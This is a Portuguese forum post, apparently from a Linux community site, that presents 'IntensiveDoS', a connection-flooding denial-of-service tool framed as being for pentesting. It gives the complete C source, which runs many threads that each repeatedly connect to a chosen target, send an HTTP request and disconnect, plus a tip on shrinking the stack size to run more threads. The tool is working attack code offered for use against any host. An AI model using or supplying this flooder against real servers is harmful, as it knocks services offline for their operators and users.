IntensiveDoS - ferramenta de DoS para pentesting
Publicado por Lucas Fernando Vasconcelos de Arruda Amorim (última atualização em 26/02/2010)
[ Hits: 6.370 ]
Homepage: http://lfamorim.com
IntensiveDos é uma ferramenta de DoS para pentesting, com ela fica muito fácil saber como o seu servidor responde e cataloga ataques do gênero. É uma ferramenta muito simples e livre de qualquer protocolo específico.
http://github.com/lfamorim/IntensiveDoS
O fluxo da thread é bem simples: Abre Conexão > Escreve > Fecha Conexão. Se você precisar de algo mais específico, sinta-se livre para alterar o fonte.
Se você for abrir muitas threads é recomendável baixar o stack size, faça com um comando muito simples:
$ ulimit -s 400 (quanto menor mais threads)
Aproveito para indicar o GitHub, uma ferramenta social maravilhosa para compartilhar projetos e conhecer novos amigos programadores.
Aproveito para indicar meu blog - http://lfamorim.com/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <pthread.h>
#include <unistd.h>
#define ERROR_MSG(msg, args...) fprintf(stderr, "<%s:%i>: " msg "\r\n", __FILE__, __LINE__, ##args)
static const struct option options[] = {
{.name = "service",.has_arg = 1,.val = 's'},
{.name = "threads",.has_arg = 1,.val = 'T'},
{.name = "target",.has_arg = 1,.val = 'p'},
{.name = "help",.has_arg = 0,.val = 'h'},
{.name = "header",.has_arg = 1,.val = 'H'},
{0, 0, 0, 0}
};
typedef enum {
NO_ERROR,
NO_TARGET,
EMPTY_SERVICE,
ALLOC,
HOST_INFORMATION,
TARGET_CONNECTION,
THREAD_CREATE,
THREAD_JOIN,
} PROGRAM_ERROR;
char *target = NULL, *service = "http", *http_header = "GET / HTTP/1.1\r\n\r\n";
int max_threads = 30;
struct addrinfo *res_attr;
void usage()
{
fprintf(stdout, "$program -t www.google.com -T 100\r\n");
}
PROGRAM_ERROR setHostname()
{
struct addrinfo hints;
PROGRAM_ERROR validate = NO_ERROR;
bzero(&hints, sizeof(hints));
hints.ai_socktype = SOCK_STREAM;
hints.ai_family = PF_UNSPEC;
if (getaddrinfo(target, service, &hints, &res_attr) == -1) {
validate = HOST_INFORMATION;
ERROR_MSG("getaddrinfo: %s", strerror(errno));
}
return (validate);
}
PROGRAM_ERROR validateInput()
{
if (target == NULL) {
ERROR_MSG("Target not defined.");
return (NO_TARGET);
}
return (NO_ERROR);
}
PROGRAM_ERROR validateTarget()
{
PROGRAM_ERROR validate = NO_ERROR;
if ((validate = validateInput()) != NO_ERROR) {
ERROR_MSG("Input validation.");
} else if ((validate = setHostname()) != NO_ERROR) {
ERROR_MSG("Target validation.");
}
return (validate);
}
PROGRAM_ERROR tryConnect()
{
int socket_fd;
struct addrinfo *res;
for (res = res_attr; res != NULL; res = res->ai_next) {
if ((socket_fd =
socket(res->ai_family, res->ai_socktype,
res->ai_protocol)) == -1)
continue;
else if (connect(socket_fd, res->ai_addr, res->ai_addrlen) ==
-1)
continue;
break;
}
if (res == NULL) {
ERROR_MSG("Target connection.");
return TARGET_CONNECTION;
}
write(socket_fd, http_header, strlen(http_header));
close(socket_fd);
return (NO_ERROR);
}
void *flood()
{
while (tryConnect() == NO_ERROR) {
}
return NULL;
}
PROGRAM_ERROR waitThread(pthread_t thread)
{
if (pthread_join(thread, (void **)NULL) != 0)
return THREAD_JOIN;
return NO_ERROR;
}
PROGRAM_ERROR initThread(pthread_t * thread, pthread_attr_t * thread_attr)
{
if (pthread_create(thread, thread_attr, (void *)&flood, NULL) != 0) {
ERROR_MSG("pthread_create");
return (THREAD_CREATE);
}
return (NO_ERROR);
}
int initProgram()
{
PROGRAM_ERROR validate = NO_ERROR;
pthread_t *threads = NULL;
int cthread = 0;
if ((validate = validateTarget()) != NO_ERROR) {
ERROR_MSG("Target validation");
return ((int)validate);
}
if ((threads =
(pthread_t *) malloc(sizeof(pthread_t) * max_threads)) == NULL) {
ERROR_MSG("Allocating threads.");
return ((int)ALLOC);
}
for (cthread = 0; cthread < max_threads; cthread++) {
fprintf(stdout, "Starting thread <%i>\r\n", cthread);
if (initThread(&threads[cthread], NULL) != NO_ERROR) {
ERROR_MSG("Starting thread <%i>", cthread);
}
}
for (cthread = 0; cthread < max_threads; cthread++) {
fprintf(stdout, "Waiting thread <%i>\r\n", cthread);
if (waitThread(threads[cthread]) != NO_ERROR) {
ERROR_MSG("Stopping thread <%i>", cthread);
}
}
free(threads);
return ((int)validate);
}
int main(int argc, char *argv[])
{
int c;
while ((c = getopt_long(argc, argv, "hH:T:t:p:", options, NULL)) != -1) {
switch (c) {
case 'T':
max_threads = atoi(optarg);
break;
case 'p':
service = optarg;
break;
case 't':
target = optarg;
break;
case 'h':
usage();
abort();
break;
case 'H':
http_header = optarg;
break;
}
}
return (initProgram());
}
Código C para gerar hashes DES e MD5
Algoritmo de euclides estendido (calcula o D RSA)
Cifra de Cesar - Cripto-Analise
Nenhum comentário foi encontrado.
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como fazer a conversão binária e aplicar as restrições no Linux
Como quebrar a senha de um servidor Linux Debian
Como bloquear pendrive em uma rede Linux
Um autoinstall.yaml para Ubuntu com foco em quem vai fazer máquina virtual
Instalar GRUB sem archinstall no Arch Linux em UEFI Problemático









